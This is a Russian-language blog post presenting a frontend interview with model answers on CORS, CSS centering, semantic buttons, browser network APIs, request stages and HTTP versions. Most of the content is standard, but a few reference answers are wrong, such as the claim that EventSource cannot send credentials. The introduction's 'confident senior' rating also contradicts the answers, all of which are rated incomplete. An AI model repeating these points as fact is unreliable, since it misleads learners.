Перейти к основному содержимому

Открытое собеседование на Frontend разработчика

· 138 мин. чтения

Сегодня мы разберём реальное собеседование на позицию middle frontend-разработчика, в ходе которого кандидат Лёша демонстрирует глубокое понимание устройства браузера, сетевых протоколов, механизмов безопасности и проектирования виджетов, а также решает практические задачи по синхронизации состояния между вкладками и изоляции кода. Интервьюер Дима оценивает уровень кандидата как уверенного сеньора и даёт подробный фидбек с указанием как сильных сторон, так и областей для роста.

Вопрос 1. Что такое CORS (Cross-Origin Resource Sharing) и когда он не работает?

Таймкод: 00:00

Ответ собеседника: неполный. Кандидат упомянул, что кросс-доменные запросы запрещены по умолчанию, но не смог раскрыть механизм CORS, не упомянул preflight-запросы (OPTIONS), заголовки Access-Control-Allow-Origin, Access-Control-Allow-Methods, а также различия между простыми запросами и preflight.

Правильный ответ:

Что такое CORS

CORS (Cross-Origin Resource Sharing) — это механизм безопасности браузера, который позволяет веб-странице запрашивать ресурсы с другого источника (origin), отличного от того, с которого была загружена сама страница. Origin определяется тройкой: протокол + домен + порт. Например, https://example.com:443 и https://api.example.com:443 — это разные origin.

По умолчанию браузеры применяют политику Same-Origin Policy (SOP), которая блокирует кросс-доменные запросы, инициируемые из JavaScript (fetch, XMLHttpRequest). CORS — это стандарт, который позволяет серверу явно разрешить такие запросы.

Как работает CORS

Когда браузер отправляет кросс-доменный запрос, он добавляет заголовок Origin с указанием источника запроса. Сервер в ответе должен вернуть соответствующие CORS-заголовки, чтобы браузер разрешил доступ к ответу.

Основные заголовки CORS:

  • Access-Control-Allow-Origin — указывает, каким origin разрешён доступ. Может быть конкретным доменом (https://example.com) или символом * (любой origin, но нельзя использовать с credentials).
  • Access-Control-Allow-Methods — список разрешённых HTTP-методов (GET, POST, PUT, DELETE и т.д.).
  • Access-Control-Allow-Headers — список разрешённых заголовков запроса.
  • Access-Control-Allow-Credentials — разрешает ли отправку cookies и HTTP-аутентификации (true/false).
  • Access-Control-Max-Age — время в секундах, на которое браузер может закэшировать результат preflight-запроса.
  • Access-Control-Expose-Headers — заголовки ответа, которые браузер должен сделать доступными для JavaScript.

Простые запросы vs Preflight-запросы

Браузер делит кросс-доменные запросы на два типа:

Простые запросы (Simple Requests) — не вызывают preflight. Условия:

  • Метод: GET, HEAD или POST.
  • Заголовки только из списка безопасных: Accept, Accept-Language, Content-Language, Content-Type (с ограниченными значениями: application/x-www-form-urlencoded, multipart/form-data, text/plain).
  • Нет заголовков, не входящих в безопасный список.

Для простых запросов браузер сразу отправляет запрос с заголовком Origin, и если сервер возвращает корректный Access-Control-Allow-Origin, ответ передаётся в JavaScript.

Preflight-запросы — отправляются перед основным запросом, если запрос не является простым. Браузер отправляет запрос методом OPTIONS с заголовками:

  • Origin — источник запроса.
  • Access-Control-Request-Method — метод основного запроса.
  • Access-Control-Request-Headers — заголовки основного запроса.

Сервер должен ответить с соответствующими CORS-заголовками, и только после этого браузер отправит основной запрос.

Пример настройки CORS в Go

package main

import (
"net/http"
)

func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Устанавливаем CORS-заголовки
w.Header().Set("Access-Control-Allow-Origin", "https://example.com")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.Header().Set("Access-Control-Allow-Credentials", "true")
w.Header().Set("Access-Control-Max-Age", "86400")

// Обработка preflight-запроса
if r.Method == http.MethodOptions {
w.WriteHeader(http.StatusNoContent)
return
}

next.ServeHTTP(w, r)
})
}

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hello, CORS!"))
})

handler := corsMiddleware(mux)
http.ListenAndServe(":8080", handler)
}

Для более гибкой настройки можно использовать популярную библиотеку github.com/rs/cors:

import (
"net/http"
"github.com/rs/cors"
)

func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/data", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Hello, CORS!"))
})

c := cors.New(cors.Options{
AllowedOrigins: []string{"https://example.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
MaxAge: 86400,
})

handler := c.Handler(mux)
http.ListenAndServe(":8080", handler)
}

Когда CORS не работает

CORS не работает или не применяется в следующих случаях:

  • Запросы с сервера на сервер — CORS это механизм браузера. Запросы между серверами (например, из Go-приложения через net/http, из curl, Postman) не подчиняются политике CORS. Ограничивает только браузер.

  • Статические ресурсы без CORS — некоторые ресурсы (изображения, видео, CSS) можно загружать кросс-доменно без CORS, но если нужно прочитать их содержимое через JavaScript (например, через Canvas или fetch), CORS потребуется.

  • WebSocket — WebSocket-соединения не подчиняются CORS. Браузер не блокирует WebSocket-подключения к другому origin, хотя сервер может проверять заголовок Origin самостоятельно.

  • Server-Sent Events (EventSource) — подчиняются CORS, но не поддерживают отправку credentials через withCredentials.

  • Некорректная настройка сервера — если сервер не обрабатывает OPTIONS-запросы или не возвращает нужные заголовки, браузер заблокирует ответ.

  • Использование * с credentials — если Access-Control-Allow-Credentials: true, то Access-Control-Allow-Origin не может быть *. Браузер заблокирует такой ответ.

Важные нюансы

  • CORS защищает только от злоупотребления со стороны браузера. Это не защита от CSRF или других атак на сервер.
  • Preflight-запросы добавляют дополнительный раунд-трип, поэтому важно кэшировать их с помощью Access-Control-Max-Age.
  • При использовании credentials (cookies, авторизационные заголовки) необходимо явно указывать конкретный origin, а не *.

Вопрос 2. Какие способы центрирования блока в CSS существуют?

Таймкод: 00:09:25

Ответ собеседника: неполный. Кандидат назвал flex, grid и абсолютное позиционирование, но не смог вспомнить точный способ вычисления смещения через translate и не раскрыл детали каждого метода.

Правильный ответ:

1. Flexbox (самый распространённый способ)

Flexbox — наиболее удобный и часто используемый способ центрирования. Применяется к родительскому контейнеру.

.parent {
display: flex;
justify-content: center; /* центрирование по горизонтали */
align-items: center; /* центрирование по вертикали */
}

Для центрирования по одной оси достаточно одного из свойств. justify-content работает вдоль главной оси (по умолчанию горизонтальная), align-items — вдоль поперечной.

2. Grid

CSS Grid также позволяет центрировать элементы, причём с помощью одной строки:

.parent {
display: grid;
place-items: center; /* центрирование по обеим осям */
}

Или раздельно:

.parent {
display: grid;
justify-items: center; /* по горизонтали */
align-items: center; /* по вертикали */
}

Для центрирования самого контента внутри ячейки grid можно использовать justify-self и align-self на дочернем элементе.

3. Абсолютное позиционирование с translate (классический способ)

Этот метод работает, когда размеры дочернего блока неизвестны или динамические:

.parent {
position: relative;
}

.child {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}

Принцип работы: top: 50% и left: 50% позиционируют левый верхний угол дочернего элемента в центре родителя. Затем transform: translate(-50%, -50%) сдвигает элемент назад на половину его собственной ширины и высоты. Проценты в translate вычисляются относительно размеров самого элемента, а не родителя — это ключевой момент.

4. Абсолютное позиционирование с margin: auto

Работает, когда известны точные размеры дочернего элемента:

.child {
position: absolute;
top: 0;
right: 0;
bottom: 0;
left: 0;
margin: auto;
width: 200px;
height: 100px;
}

Устанавливаем все четыре отступа в ноль и margin: auto — браузер автоматически вычисляет равные отступы со всех сторон, центрируя элемент.

5. Текстовое центрирование (text-align + line-height)

Для строчных или строчно-блочных элементов:

.parent {
text-align: center; /* горизонтальное центрирование */
line-height: 200px; /* вертикальное центрирование, высота родителя */
}

.child {
display: inline-block;
vertical-align: middle;
line-height: normal; /* сброс line-height для дочернего элемента */
}

6. Table-cell

Имитация поведения ячеек таблицы:

.parent {
display: table-cell;
vertical-align: middle;
text-align: center;
width: 500px;
height: 300px;
}

7. Современный способ: inset (сокращение для top/right/bottom/left)

.child {
position: absolute;
inset: 0;
margin: auto;
width: fit-content;
height: fit-content;
}

Сравнение методов

МетодЗнание размеровПоддержка браузераУдобство
FlexboxНе требуетсяОтличная (IE10+)★★★★★
GridНе требуетсяХорошая (не IE)★★★★★
Absolute + translateНе требуетсяОтличная (IE9+)★★★★
Absolute + margin: autoТребуетсяОтличная★★★
Text-align + line-heightОграниченноОтличная★★
Table-cellОграниченноОтличная★★

Рекомендация: для новых проектов следует использовать Flexbox или Grid — они наиболее гибкие, не требуют знания размеров элемента и хорошо поддерживаются современными браузерами.

Вопрос 3. Почему плохо делать кнопку через <div> вместо тега <button>?

Таймкод: 00:10:23

Ответ собеседника: неполный. Кандидат упомянул проблему доступности для скринридеров, но не раскрыл другие критические аспекты: отсутствие нативной клавиатурной доступности, отсутствие семантики и нативного поведения (Enter/Space).

Правильный ответ:

1. Семантика и доступность (a11y)

Тег <button> является семантическим элементом, который сообщает браузерам и вспомогательным технологиям (скринридерам), что элемент является кнопкой. Скринридеры озвучивают его как «кнопка» и позволяют пользователям навигироваться между кнопками на странице.

<div> — это несемантический контейнер. Скринридер прочитает его как обычный блок без указания роли. Пользователь не будет знать, что на этот элемент можно нажать.

Чтобы сделать <div> доступным, нужно вручную добавить ARIA-атрибуты:

<!-- Плохо -->
<div class="btn" onclick="submit()">Отправить</div>

<!-- Правильно -->
<button type="button" onclick="submit()">Отправить</button>

<!-- Если нельзя использовать button, то хотя бы: -->
<div role="button" tabindex="0" aria-label="Отправить форму"
onclick="submit()" onkeydown="handleKey(event)">
Отправить
</div>

2. Клавиатурная доступность (Keyboard Accessibility)

Нативный <button> автоматически получает фокус при навигации по Tab и реагирует на клавиши Enter и Space. Это критически важно для пользователей, которые не могут использовать мышь.

Для <div> необходимо вручную добавить:

  • tabindex="0" — чтобы элемент получал фокус.
  • Обработчики событий keydown или keypress для реакции на Enter и Space.
// Пример ручной реализации клавиатурной доступности для div
function handleKey(event) {
if (event.key === 'Enter' || event.key === ' ') {
event.preventDefault();
submit();
}
}

3. Нативное поведение в формах

<button> внутри <form> по умолчанию имеет type="submit", что позволяет отправлять форму при нажатии на кнопку. Также можно явно указать type="button" для кнопки без отправки формы.

<div> не имеет никакого встроенного поведения в контексте форм. Всё нужно реализовывать вручную.

4. Стилизация и состояния

<button> имеет нативные состояния: :hover, :focus, :active, :disabled. Браузеры применяют к кнопкам стили по умолчанию (cursor: pointer, outline при фокусе), которые важны для UX.

Для <div> все эти состояния нужно стилизовать вручную, включая стили для фокуса (:focus-visible), что часто забывают.

5. SEO и парсинг

Поисковые системы и инструменты парсинга учитывают семантику HTML. Использование <button> помогает поисковикам правильно интерпретировать структуру страницы и назначение элементов.

6. Автоматизированное тестирование

Многие инструменты тестирования (Selenium, Cypress, Playwright) имеют встроенные методы для поиска и взаимодействия с кнопками (getByRole('button') в Testing Library). Для <div> такие методы не работают без явного указания роли.

Итог

Использование <div> вместо <button> приводит к необходимости вручную реализовывать множество функций, которые нативная кнопка предоставляет бесплатно: фокус, клавиатурную навигацию, ARIA-роль, поведение в формах, стили состояний. Это увеличивает объём кода, повышает вероятность ошибок и ухудшает доступность интерфейса. Правильный подход — использовать <button> для действий и <a> для навигации.

Вопрос 4. Какие нативные способы сделать сетевой запрос в браузере существуют?

Таймкод: 00:13:10

Ответ собеседника: неполный. Кандидат назвал XMLHttpRequest и fetch, но не упомянул WebSocket, SSE (Server-Sent Events) и Beacon API.

Правильный ответ:

1. Fetch API (современный стандарт)

Fetch API — это современный нативный способ выполнения HTTP-запросов в браузере. Основан на промисах, поддерживает async/await и предоставляет удобный интерфейс для работы с запросами и ответами.

// GET-запрос
const response = await fetch('https://api.example.com/data', {
method: 'GET',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123'
}
});
const data = await response.json();

// POST-запрос
const response = await fetch('https://api.example.com/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: 'John', email: 'john@example.com' })
});

if (!response.ok) {
throw new Error(`HTTP error: ${response.status}`);
}

Преимущества: промис-based, поддержка streaming, работа с различными типами данных (JSON, FormData, Blob, ArrayBuffer).

2. XMLHttpRequest (устаревший, но поддерживается везде)

XMLHttpRequest (XHR) — это оригинальный API для HTTP-запросов в браузере. Основан на событиях и колбэках, имеет более многословный синтаксис.

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Authorization', 'Bearer token123');

xhr.onload = function () {
if (xhr.status === 200) {
const data = JSON.parse(xhr.responseText);
console.log(data);
} else {
console.error('Error:', xhr.status);
}
};

xhr.onerror = function () {
console.error('Network error');
};

xhr.send();

Преимущества: поддержка прогресса загрузки (progress событие), возможность отмены запроса (abort()), работа в синхронном режиме (не рекомендуется). Недостатки: callback-хелл, более сложный API.

3. WebSocket (двунаправленное соединение)

WebSocket — протокол полнодуплексной связи через одно TCP-соединение. Позволяет серверу и клиенту обмениваться сообщениями в реальном времени без необходимости постоянных HTTP-запросов.

const socket = new WebSocket('wss://api.example.com/ws');

socket.onopen = function () {
console.log('Connection established');
socket.send(JSON.stringify({ type: 'subscribe', channel: 'updates' }));
};

socket.onmessage = function (event) {
const data = JSON.parse(event.data);
console.log('Received:', data);
};

socket.onerror = function (error) {
console.error('WebSocket error:', error);
};

socket.onclose = function (event) {
console.log('Connection closed:', event.code, event.reason);
};

// Отправка данных
socket.send(JSON.stringify({ message: 'Hello' }));

Особенности: низкая задержка, постоянное соединение, поддержка текстовых и бинарных данных. Используется в чатах, онлайн-играх, биржевых котировках, real-time уведомлениях.

4. Server-Sent Events (SSE) — EventSource

SSE — технология для получения данных от сервера в реальном времени через однонаправленное соединение (только сервер → клиент). Использует обычный HTTP и специальный тип содержимого text/event-stream.

const eventSource = new EventSource('https://api.example.com/events');

eventSource.onopen = function () {
console.log('SSE connection opened');
};

eventSource.onmessage = function (event) {
const data = JSON.parse(event.data);
console.log('New event:', data);
};

// Обработка кастомных событий
eventSource.addEventListener('user-update', function (event) {
const data = JSON.parse(event.data);
console.log('User updated:', data);
});

eventSource.onerror = function (error) {
console.error('SSE error:', error);
// Браузер автоматически переподключится
};

// Закрытие соединения
eventSource.close();

Преимущества: автоматическое переподключение, простота использования, текстовый формат данных. Ограничения: только сервер → клиент, максимальное количество открытых соединений в браузере (обычно 6 на домен), не поддерживает бинарные данные.

5. Beacon API (отправка данных при закрытии страницы)

Beacon API позволяет асинхронно отправлять небольшие объёмы данных на сервер, даже когда страница закрывается. Гарантирует доставку без блокировки навигации.

// Отправка аналитики при закрытии страницы
window.addEventListener('unload', function () {
const data = JSON.stringify({
page: window.location.pathname,
duration: performance.now(),
timestamp: Date.now()
});

navigator.sendBeacon('https://analytics.example.com/collect', data);
});

// С использованием Blob для установки Content-Type
const blob = new Blob([JSON.stringify({ event: 'click' })], {
type: 'application/json'
});
navigator.sendBeacon('https://api.example.com/events', blob);

Преимущества: не блокирует закрытие страницы, гарантированная отправка, простота API. Ограничения: только POST-запросы, нельзя получить ответ от сервера, ограниченный размер данных (обычно 64 КБ).

6. WebRTC (Web Real-Time Communication)

WebRTC — технология для прямого обмена данными между браузерами (peer-to-peer). Поддерживает аудио, видео и произвольные данные через RTCDataChannel.

const peerConnection = new RTCPeerConnection();

const dataChannel = peerConnection.createDataChannel('chat');

dataChannel.onopen = function () {
dataChannel.send('Hello from peer!');
};

dataChannel.onmessage = function (event) {
console.log('Received:', event.data);
};

Используется для видеозвонков, файлообмена, P2P-приложений.

Сравнение способов

СпособНаправлениеПротоколСложностьОсновное применение
FetchДвунаправленныйHTTPНизкаяREST API, CRUD
XMLHttpRequestДвунаправленныйHTTPСредняяУстаревшие проекты
WebSocketДвунаправленныйWS/WSSСредняяЧаты, real-time
SSEСервер → КлиентHTTPНизкаяУведомления, стриминг
BeaconКлиент → СерверHTTPНизкаяАналитика, логи
WebRTCP2PSRTP/SCTPВысокаяВидеозвонки, P2P

Рекомендации

  • Для стандартных REST-запросов использовать Fetch API.
  • Для real-time двунаправленной связи — WebSocket.
  • Для уведомлений от сервера — SSE.
  • Для отправки аналитики при закрытии страницы — Beacon API.
  • Для P2P-соединений — WebRTC.

Вопрос 5. Что происходит внутри браузера при выполнении сетевого запроса? Опишите стадии.

Таймкод: 00:14:12

Ответ собеседника: неполный. Кандидат рассказал про формирование запроса, установку заголовков, DNS-резолвинг и отправку по сети, но не упомял проверку кэша браузера, Service Worker, установку TCP/TLS-соединения, обработку ответа и рендеринг.

Правильный ответ:

1. Парсинг URL и формирование запроса

Когда браузер получает URL (из адресной строки, HTML-кода, JavaScript или CSS), он разбирает его на компоненты: протокол, домен, порт, путь, параметры запроса, хеш. На основе этой информации формируется HTTP-запрос с методом, заголовками и телом.

2. Проверка кэша браузера

Прежде чем отправлять запрос в сеть, браузер проверяет свой HTTP-кэш. Кэш хранит предыдущие ответы и метаданные о них (заголовки Cache-Control, ETag, Expires, Last-Modified).

  • Кэш попадание (cache hit): если ресурс найден в кэше и он ещё свежий (не истёк max-age), браузер использует кэшированную версию без сетевого запроса.
  • Условная валидация: если ресурс в кэше, но устарел, браузер отправляет условный запрос с заголовками If-None-Match (ETag) или If-Modified-Since. Если сервер отвечает 304 Not Modified, используется кэш.
  • Кэш промах (cache miss): если ресурс не найден в кэше, запрос отправляется в сеть.

3. Проверка Service Worker

Если для данного origin зарегистрирован Service Worker, он может перехватить сетевой запрос через событие fetch. Service Worker может:

  • Вернуть ответ из своего кэша.
  • Отправить запрос в сеть.
  • Сгенерировать собственный ответ.
  • Комбинировать стратегии (stale-while-revalidate, cache-first, network-first).
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((cached) => {
return cached || fetch(event.request);
})
);
});

4. DNS-резолвинг

Если IP-адрес домена неизвестен, браузер выполняет DNS-резолвинг в следующем порядке:

  • Проверка кэша браузера.
  • Проверка кэша ОС (/etc/hosts, DNS-кэш системы).
  • Запрос к локальному DNS-резолверу (обычно провайдер или настроенный DNS-сервер, например, 8.8.8.8).
  • Рекурсивный DNS-запрос: корневые серверы → TLD-серверы → авторитативные серверы домена.

Результат кэшируется согласно TTL (Time To Live) из DNS-записи.

5. Установка TCP-соединения (three-way handshake)

После получения IP-адреса браузер устанавливает TCP-соединение с сервером через тройное рукопожатие:

  • SYN: клиент отправляет пакет с флагом SYN и случайным начальным номером последовательности.
  • SYN-ACK: сервер отвечает пакетом с флагами SYN и ACK, подтверждая получение и отправляя свой номер последовательности.
  • ACK: клиент подтверждает получение ответа сервера.

После этого TCP-соединение установлено и готово к передаче данных.

6. TLS-рукопожатие (для HTTPS)

Если используется HTTPS, после TCP-соединения происходит TLS-рукопожатие для установления зашифрованного канала:

  • ClientHello: клиент отправляет поддерживаемые версии TLS, наборы шифров, случайное число.
  • ServerHello: сервер выбирает версию TLS и набор шифров, отправляет свой сертификат и случайное число.
  • Проверка сертификата: клиент проверяет сертификат сервером (цепочка доверия, срок действия, соответствие домену).
  • Обмен ключами: клиент и сервер согласовывают сессионный ключ (через RSA, ECDHE или другой механизм).
  • Finished: обе стороны подтверждают, что рукопожатие завершено.

Начиная с TLS 1.3, рукопожатие сокращено до одного раунд-трипа (1-RTT), а с поддержкой 0-RTT можно отправлять данные сразу.

7. Отправка HTTP-запроса

После установления защищённого соединения браузер отправляет HTTP-запрос:

  • Строка запроса: GET /path HTTP/1.1
  • Заголовки: Host, User-Agent, Accept, Accept-Encoding, Accept-Language, Cookie, Authorization, Content-Type, Content-Length и другие.
  • Тело запроса (для POST, PUT и т.д.).

8. Обработка ответа сервера

Сервер обрабатывает запрос и возвращает HTTP-ответ:

  • Строка статуса: HTTP/1.1 200 OK
  • Заголовки ответа: Content-Type, Content-Length, Cache-Control, Set-Cookie, Location (для редиректов), CORS-заголовки и другие.
  • Тело ответа: HTML, JSON, бинарные данные.

9. Обработка ответа браузером

В зависимости от типа ответа браузер выполняет различные действия:

  • HTML: запускает парсинг DOM, загрузку связанных ресурсов (CSS, JS, изображения), построение render tree, layout, paint, composite.
  • JSON/данные: передаёт в JavaScript для обработки.
  • Редирект (3xx): браузер автоматически выполняет новый запрос на URL из заголовка Location.
  • Ошибки (4xx, 5xx): браузер может показать страницу ошибки или передать ошибку в JavaScript.

10. Рендеринг (для HTML)

Если ответ — HTML, браузер выполняет полный цикл рендеринга:

  • Парсинг HTML → построение DOM-дерева.
  • Парсинг CSS → построение CSSOM.
  • Вычисление стилей → формирование Render Tree (DOM + CSSOM).
  • Layout (Reflow) → вычисление размеров и позиций элементов.
  • Paint → заполнение пикселей (текст, цвета, изображения, тени).
  • Composite → наложение слоёв и вывод на экран.

Визуализация последовательности

URL → Кэш → Service Worker → DNS → TCP → TLS → HTTP-запрос → Ответ → Рендеринг

Каждая стадия может быть параллелизована или оптимизирована (keep-alive для TCP, connection pooling, HTTP/2 multiplexing, prefetch, preload).

Вопрос 6. Из чего состоит HTTP-запрос и HTTP-ответ?

Таймкод: 00:17:13

Ответ собеседника: неполный. Для запроса кандидат назвал метод, путь, версию протокола, заголовки и тело, но перепутал Origin и Host. Для ответа не смог точно назвать структуру.

Правильный ответ:

Структура HTTP-запроса

HTTP-запрос состоит из следующих частей:

1. Строка запроса (Request Line)

Содержит три элемента, разделённых пробелами:

GET /api/users?page=1 HTTP/1.1
  • Метод — действие, которое нужно выполнить: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS, CONNECT, TRACE.
  • Путь (Request-URI) — адрес ресурса: /api/users?page=1 (включает путь и query-параметры).
  • Версия протоколаHTTP/1.0, HTTP/1.1, HTTP/2, HTTP/3.

2. Заголовки запроса (Request Headers)

Ключ-значение пары, описывающие параметры запроса. Основные заголовки:

  • Host: example.com — обязательный заголовок в HTTP/1.1, указывает домен сервера. Отличается от Origin: Host содержит только домен и порт, а Origin — полный origin (протокол + домен + порт) и используется для CORS.
  • User-Agent: Mozilla/5.0 ... — информация о браузере и ОС клиента.
  • Accept: application/json — типы контента, которые клиент может обработать.
  • Accept-Encoding: gzip, deflate, br — поддерживаемые алгоритмы сжатия.
  • Accept-Language: ru-RU, en-US — предпочитаемые языки.
  • Content-Type: application/json — тип тела запроса (для POST, PUT).
  • Content-Length: 1234 — размер тела запроса в байтах.
  • Authorization: Bearer eyJhbGciOi... — данные аутентификации.
  • Cookie: session_id=abc123; theme=dark — cookies, сохранённые для данного домена.
  • Origin: https://frontend.example.com — origin источника запроса (используется для CORS, отправляется автоматически браузером при кросс-доменных запросах).
  • Referer: https://example.com/page — URL страницы, с которой был сделан запрос.
  • Cache-Control: no-cache — директивы кэширования.
  • If-None-Match: "etag-value" — условный запрос для валидации кэша.
  • Connection: keep-alive — управление соединением.

3. Пустая строка

Разделяет заголовки и тело запроса. Представляет собой символ \r\n (CRLF).

4. Тело запроса (Request Body)

Опциональная часть, содержащая данные. Присутствует в POST, PUT, PATCH запросах. Может быть в различных форматах:

{"name": "John", "email": "john@example.com"}

Или в виде multipart/form-data для загрузки файлов, application/x-www-form-urlencoded для форм.

Пример полного HTTP-запроса

POST /api/users HTTP/1.1
Host: api.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Content-Length: 51
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Origin: https://frontend.example.com
Accept: application/json

{"name": "John", "email": "john@example.com"}

Структура HTTP-ответа

HTTP-ответ имеет аналогичную структуру:

1. Строка статуса (Status Line)

HTTP/1.1 200 OK
  • Версия протоколаHTTP/1.1, HTTP/2.
  • Код статуса — трёхзначное число, указывающее результат обработки:
    • 1xx — информационные (100 Continue, 101 Switching Protocols).
    • 2xx — успешные (200 OK, 201 Created, 204 No Content).
    • 3xx — перенаправления (301 Moved Permanently, 302 Found, 304 Not Modified).
    • 4xx — ошибки клиента (400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found, 422 Unprocessable Entity, 429 Too Many Requests).
    • 5xx — ошибки сервера (500 Internal Server Error, 502 Bad Gateway, 503 Service Unavailable).
  • Текстовое описание — человекочитаемое описание статуса.

2. Заголовки ответа (Response Headers)

  • Content-Type: application/json; charset=utf-8 — тип содержимого ответа.
  • Content-Length: 1234 — размер тела ответа.
  • Content-Encoding: gzip — применённое сжатие.
  • Cache-Control: max-age=3600, public — директивы кэширования.
  • Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure — установка cookies.
  • Location: https://example.com/new-url — URL для редиректа.
  • Access-Control-Allow-Origin: https://example.com — CORS-заголовки.
  • ETag: "abc123" — идентификатор версии ресурса для кэширования.
  • Last-Modified: Mon, 01 Jan 2024 00:00:00 GMT — дата последнего изменения.
  • Server: nginx/1.24.0 — информация о сервере (часто скрывают из соображений безопасности).
  • X-Request-Id: uuid-1234-5678 — кастомные заголовки для трассировки.
  • Strict-Transport-Security: max-age=31536000 — принудительное использование HTTPS.
  • X-Content-Type-Options: nosniff — запрет угадывания MIME-типа.

3. Пустая строка

Разделитель между заголовками и телом.

4. Тело ответа (Response Body)

Данные, возвращаемые сервером:

{"id": 1, "name": "John", "email": "john@example.com"}

Или HTML, XML, бинарные данные (изображения, файлы).

Пример полного HTTP-ответа

HTTP/1.1 201 Created
Content-Type: application/json; charset=utf-8
Content-Length: 56
Cache-Control: no-cache
Set-Cookie: session_id=xyz789; Path=/; HttpOnly; Secure
Access-Control-Allow-Origin: https://example.com
ETag: "abc123"
Date: Mon, 01 Jan 2024 12:00:00 GMT

{"id": 1, "name": "John", "email": "john@example.com"}

Различия между Host и Origin

ЗаголовокСодержимоеКогда отправляетсяНазначение
HostДомен и порт (api.example.com:443)Все запросыУказывает серверу, какой сайт запражен (виртуальный хостинг)
OriginПротокол + домен + порт (https://frontend.example.com)Кросс-доменные запросы (браузер)Используется для CORS-проверок

Host обязателен в HTTP/1.1 и используется для маршрутизации на сервере. Origin добавляется браузером автоматически при кросс-доменных запросах и используется сервером для принятия решения о CORS.

Вопрос 7. Какие версии HTTP-протокола существуют и чем они отличаются?

Таймкод: 00:19:25

Ответ собеседника: неполный. Кандидат назвал все основные версии HTTP, но не смог подробно рассказать отличия HTTP/3 от HTTP/2.

Правильный ответ:

HTTP/0.9 (1991)

Самая первая версия протокола, практически не используется сегодня.

  • Только метод GET.
  • Нет заголовков, кодов статуса, версий протокола.
  • Только HTML-ответ, без поддержки других типов контента.
  • Соединение закрывается после каждого запроса.
GET /index.html

<html>Hello World</html>

HTTP/1.0 (1996)

Первая стандартизированная версия с заголовками и метаданными.

  • Добавлены методы: GET, HEAD, POST.
  • Заголовки запроса и ответа (Content-Type, Content-Length, Date).
  • Коды статуса (200, 404, 500 и т.д.).
  • Версия протокола указывается в строке запроса.
  • По умолчанию каждое соединение закрывается после ответа (non-persistent). Для поддержания соединения требовался заголовок Connection: keep-alive.
  • Текстовый формат передачи данных.

HTTP/1.1 (1997, обновлён в RFC 7230-7235 в 2014)

Наиболее широко используемая версия до сих пор.

  • Persistent connections — соединение по умолчанию остаётся открытым для нескольких запросов (keep-alive включён по умолчанию).
  • Pipelining — возможность отправлять несколько запросов без ожидания ответов (ограниченно из-за head-of-line blocking).
  • Chunked transfer encoding — передача данных частями, без необходимости знать Content-Length заранее.
  • Host header — обязательный заголовок, позволяющий размещать несколько сайтов на одном IP-адресе (virtual hosting).
  • Кэширование — расширенные механизмы: ETag, Cache-Control, If-Modified-Since, If-None-Match.
  • Директивы сжатия — Accept-Encoding, Content-Encoding (gzip, deflate, br).
  • Безопасность — поддержка HTTPS через TLS.
  • Остаётся текстовым протоколом.

Проблемы HTTP/1.1

  • Head-of-line blocking — если первый запрос обрабатывается долго, последующие запросы в том же соединении ждут.
  • Множество соединений — для параллельной загрузки ресурсов браузеры открывают 6-8 TCP-соединений на домен.
  • Избыточные заголовки — заголовки отправляются с каждым запросом без сжатия.

HTTP/2 (2015, RFC 7540)

Революционное обновление, направленное на повышение производительности.

  • Бинарный протокол — вместо текстового формата используется бинарный, что повышает эффективность парсинга и уменьшает размер сообщений.
  • Мультиплексирование — множество запросов и ответов передаются параллельно в одном TCP-соединении через независимые потоки (streams). Устраняет head-of-line blocking на уровне приложения.
  • Сжатие заголовков (HPACK) — заголовки сжимаются алгоритмом HPACK, что значительно уменьшает накладные расходы.
  • Server Push — сервер может проактивно отправлять ресурсы клиенту до того, как они будут запрошены (например, CSS и JS при загрузке HTML).
  • Приоритизация потоков — клиент может указать приоритеты для разных ресурсов.
  • Обязательное шифрование — хотя стандарт формально поддерживает HTTP/2 без TLS, все браузеры реализуют его только поверх HTTPS.

Проблемы HTTP/2

  • TCP head-of-line blocking — если теряется один TCP-пакет, все потоки в соединении блокируются до восстановления пакета. Это фундаментальное ограничение TCP.
  • Сложность отладки — бинарный формат затрудняет ручную отладку.

HTTP/3 (2022, RFC 9000, 9001, 9002)

Последняя версия протокола, основанная на QUIC вместо TCP.

  • Транспорт на основе QUIC — вместо TCP используется протокол QUIC, работающий поверх UDP. QUIC реализует надёжную передачу данных на уровне приложения.
  • Устранение TCP head-of-line blocking — потеря пакета в одном потоке не блокирует другие потоки. Каждый поток независим.
  • Встроенное шифрование — TLS 1.3 встроен в QUIC, шифрование происходит на транспортном уровне.
  • 0-RTT соединение — при повторном подключении к серверу данные могут быть отправлены сразу, без ожидания завершения рукопожатия.
  • Улучшенная миграция соединения — QUIC использует connection ID вместо IP-адреса и порта, что позволяет сохранять соединение при смене сети (например, с Wi-Fi на мобильную сеть).
  • Улучшенный congestion control — более гибкое управление перегрузками.
  • Независимые потоки — каждый поток имеет собственную нумерацию и управление потоком.

Сравнительная таблица

ХарактеристикаHTTP/1.0HTTP/1.1HTTP/2HTTP/3
ФорматТекстовыйТекстовыйБинарныйБинарный
СоединениеНовое каждый разKeep-aliveОдно мультиплексированноеОдно мультиплексированное
МультиплексированиеНетНет (pipelining)ДаДа
Сжатие заголовковНетНетHPACKQPACK
Server PushНетНетДаДа (ограниченно)
